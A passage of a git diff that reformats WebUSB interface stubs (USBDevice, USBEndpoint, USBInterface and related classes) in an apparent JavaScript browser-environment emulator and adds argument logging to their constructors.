"USBDevice", "usbVersionSubminor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceClass", {configurable:true, enumerable:true, get:function deviceClass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceClass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceSubclass", {configurable:true, enumerable:true, get:function deviceSubclass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceSubclass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceProtocol", {configurable:true, enumerable:true, get:function deviceProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "vendorId", {configurable:true, enumerable:true, get:function vendorId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "vendorId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "productId", {configurable:true, enumerable:true, get:function productId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMajor", {configurable:true, enumerable:true, get:function deviceVersionMajor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMajor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMinor", {configurable:true, enumerable:true, get:function deviceVersionMinor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMinor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionSubminor", {configurable:true, enumerable:true, get:function deviceVersionSubminor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionSubminor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "manufacturerName", {configurable:true, enumerable:true, get:function manufacturerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "manufacturerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "productName", {configurable:true, enumerable:true, get:function productName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "serialNumber", {configurable:true, enumerable:true, get:function serialNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "serialNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "configuration", {configurable:true, enumerable:true, get:function configuration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configuration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "configurations", {configurable:true, enumerable:true, get:function configurations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configurations_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "opened", {configurable:true, enumerable:true, get:function opened (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "opened_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "claimInterface", {configurable:true, enumerable:true, writable:true, value:function claimInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "claimInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "clearHalt", {configurable:true, enumerable:true, writable:true, value:function clearHalt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "clearHalt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferIn", {configurable:true, enumerable:true, writable:true, value:function controlTransferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferOut", {configurable:true, enumerable:true, writable:true, value:function controlTransferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferOut", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferIn", {configurable:true, enumerable:true, writable:true, value:function isochronousTransferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferOut", {configurable:true, enumerable:true, writable:true, value:function isochronousTransferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferOut", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "releaseInterface", {configurable:true, enumerable:true, writable:true, value:function releaseInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "releaseInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "selectAlternateInterface", {configurable:true, enumerable:true, writable:true, value:function selectAlternateInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectAlternateInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "selectConfiguration", {configurable:true, enumerable:true, writable:true, value:function selectConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "transferIn", {configurable:true, enumerable:true, writable:true, value:function transferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "transferOut", {configurable:true, enumerable:true, writable:true, value:function transferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferOut", arguments)}},'prototype'); +// USBDevice对象 + +bodavm.memory.globalobj['USBDevice'] = function USBDevice() { + console.log_copy('USBDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBDevice'], "USBDevice"); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMajor", { + configurable: true, + enumerable: true, + get: function usbVersionMajor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMajor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMinor", { + configurable: true, + enumerable: true, + get: function usbVersionMinor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMinor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionSubminor", { + configurable: true, + enumerable: true, + get: function usbVersionSubminor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionSubminor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceClass", { + configurable: true, + enumerable: true, + get: function deviceClass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceClass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceSubclass", { + configurable: true, + enumerable: true, + get: function deviceSubclass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceSubclass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceProtocol", { + configurable: true, + enumerable: true, + get: function deviceProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "vendorId", { + configurable: true, + enumerable: true, + get: function vendorId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "vendorId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "productId", { + configurable: true, + enumerable: true, + get: function productId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMajor", { + configurable: true, + enumerable: true, + get: function deviceVersionMajor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMajor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMinor", { + configurable: true, + enumerable: true, + get: function deviceVersionMinor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMinor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionSubminor", { + configurable: true, + enumerable: true, + get: function deviceVersionSubminor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionSubminor_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "manufacturerName", { + configurable: true, + enumerable: true, + get: function manufacturerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "manufacturerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "productName", { + configurable: true, + enumerable: true, + get: function productName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "serialNumber", { + configurable: true, + enumerable: true, + get: function serialNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "serialNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "configuration", { + configurable: true, + enumerable: true, + get: function configuration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configuration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "configurations", { + configurable: true, + enumerable: true, + get: function configurations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configurations_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "opened", { + configurable: true, + enumerable: true, + get: function opened() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "opened_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "claimInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function claimInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "claimInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "clearHalt", { + configurable: true, + enumerable: true, + writable: true, + value: function clearHalt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "clearHalt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function controlTransferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function controlTransferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferOut", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function isochronousTransferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function isochronousTransferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferOut", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "releaseInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "releaseInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "selectAlternateInterface", { + configurable: true, + enumerable: true, + writable: true, + value: function selectAlternateInterface() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectAlternateInterface", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "selectConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function selectConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "transferIn", { + configurable: true, + enumerable: true, + writable: true, + value: function transferIn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferIn", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBDevice', "transferOut", { + configurable: true, + enumerable: true, + writable: true, + value: function transferOut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferOut", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBEndpoint.js b/env_xbb_lastest_jsdom/env/USBEndpoint.js index 283bf3b3..0313fd68 100644 --- a/env_xbb_lastest_jsdom/env/USBEndpoint.js +++ b/env_xbb_lastest_jsdom/env/USBEndpoint.js @@ -1,7 +1,49 @@ -// USBEndpoint对象 -bodavm.memory.globalobj['USBEndpoint'] = function USBEndpoint(){if (!(this instanceof USBEndpoint)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBEndpoint': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBEndpoint'], "USBEndpoint"); -bodavm.toolsFunc.defineProperty('USBEndpoint', "endpointNumber", {configurable:true, enumerable:true, get:function endpointNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "endpointNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "direction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "packetSize", {configurable:true, enumerable:true, get:function packetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "packetSize_get", arguments)}, set:undefined},'prototype'); +// USBEndpoint对象 + +bodavm.memory.globalobj['USBEndpoint'] = function USBEndpoint() { + console.log_copy('USBEndpoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBEndpoint)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBEndpoint': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBEndpoint'], "USBEndpoint"); +bodavm.toolsFunc.defineProperty('USBEndpoint', "endpointNumber", { + configurable: true, + enumerable: true, + get: function endpointNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "endpointNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBEndpoint', "packetSize", { + configurable: true, + enumerable: true, + get: function packetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "packetSize_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBInTransferResult.js b/env_xbb_lastest_jsdom/env/USBInTransferResult.js index 1fce6683..d6f3e514 100644 --- a/env_xbb_lastest_jsdom/env/USBInTransferResult.js +++ b/env_xbb_lastest_jsdom/env/USBInTransferResult.js @@ -1,5 +1,33 @@ -// USBInTransferResult对象 -bodavm.memory.globalobj['USBInTransferResult'] = function USBInTransferResult(){if (!(this instanceof USBInTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInTransferResult'], "USBInTransferResult"); -bodavm.toolsFunc.defineProperty('USBInTransferResult', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInTransferResult', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "status_get", arguments)}, set:undefined},'prototype'); +// USBInTransferResult对象 + +bodavm.memory.globalobj['USBInTransferResult'] = function USBInTransferResult() { + console.log_copy('USBInTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBInTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInTransferResult'], "USBInTransferResult"); +bodavm.toolsFunc.defineProperty('USBInTransferResult', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInTransferResult', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "status_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBInterface.js b/env_xbb_lastest_jsdom/env/USBInterface.js index d6c9c8a1..22105c18 100644 --- a/env_xbb_lastest_jsdom/env/USBInterface.js +++ b/env_xbb_lastest_jsdom/env/USBInterface.js @@ -1,7 +1,49 @@ -// USBInterface对象 -bodavm.memory.globalobj['USBInterface'] = function USBInterface(){if (!(this instanceof USBInterface)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInterface': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInterface'], "USBInterface"); -bodavm.toolsFunc.defineProperty('USBInterface', "interfaceNumber", {configurable:true, enumerable:true, get:function interfaceNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "interfaceNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "alternate", {configurable:true, enumerable:true, get:function alternate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "alternates", {configurable:true, enumerable:true, get:function alternates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternates_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "claimed", {configurable:true, enumerable:true, get:function claimed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "claimed_get", arguments)}, set:undefined},'prototype'); +// USBInterface对象 + +bodavm.memory.globalobj['USBInterface'] = function USBInterface() { + console.log_copy('USBInterface 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBInterface)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInterface': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInterface'], "USBInterface"); +bodavm.toolsFunc.defineProperty('USBInterface', "interfaceNumber", { + configurable: true, + enumerable: true, + get: function interfaceNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "interfaceNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "alternate", { + configurable: true, + enumerable: true, + get: function alternate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "alternates", { + configurable: true, + enumerable: true, + get: function alternates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternates_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "claimed", { + configurable: true, + enumerable: true, + get: function claimed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "claimed_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBIsochronousInTransferPacket.js b/env_xbb_lastest_jsdom/env/USBIsochronousInTransferPacket.js index d34501cd..e6ddf58d 100644 --- a/env_xbb_lastest_jsdom/env/USBIsochronousInTransferPacket.js +++ b/env_xbb_lastest_jsdom/env/USBIsochronousInTransferPacket.js @@ -1,5 +1,33 @@ -// USBIsochronousInTransferPacket对象 -bodavm.memory.globalobj['USBIsochronousInTransferPacket'] = function USBIsochronousInTransferPacket(){if (!(this instanceof USBIsochronousInTransferPacket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferPacket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferPacket'], "USBIsochronousInTransferPacket"); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "data_get", arguments)}, set:undefined},'prototype'); +// USBIsochronousInTransferPacket对象 + +bodavm.memory.globalobj['USBIsochronousInTransferPacket'] = function USBIsochronousInTransferPacket() { + console.log_copy('USBIsochronousInTransferPacket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousInTransferPacket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferPacket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferPacket'], "USBIsochronousInTransferPacket"); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "data_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBIsochronousInTransferResult.js b/env_xbb_lastest_jsdom/env/USBIsochronousInTransferResult.js index 4f91191e..cb943317 100644 --- a/env_xbb_lastest_jsdom/env/USBIsochronousInTransferResult.js +++ b/env_xbb_lastest_jsdom/env/USBIsochronousInTransferResult.js @@ -1,5 +1,33 @@ -// USBIsochronousInTransferResult对象 -bodavm.memory.globalobj['USBIsochronousInTransferResult'] = function USBIsochronousInTransferResult(){if (!(this instanceof USBIsochronousInTransferResult)){return 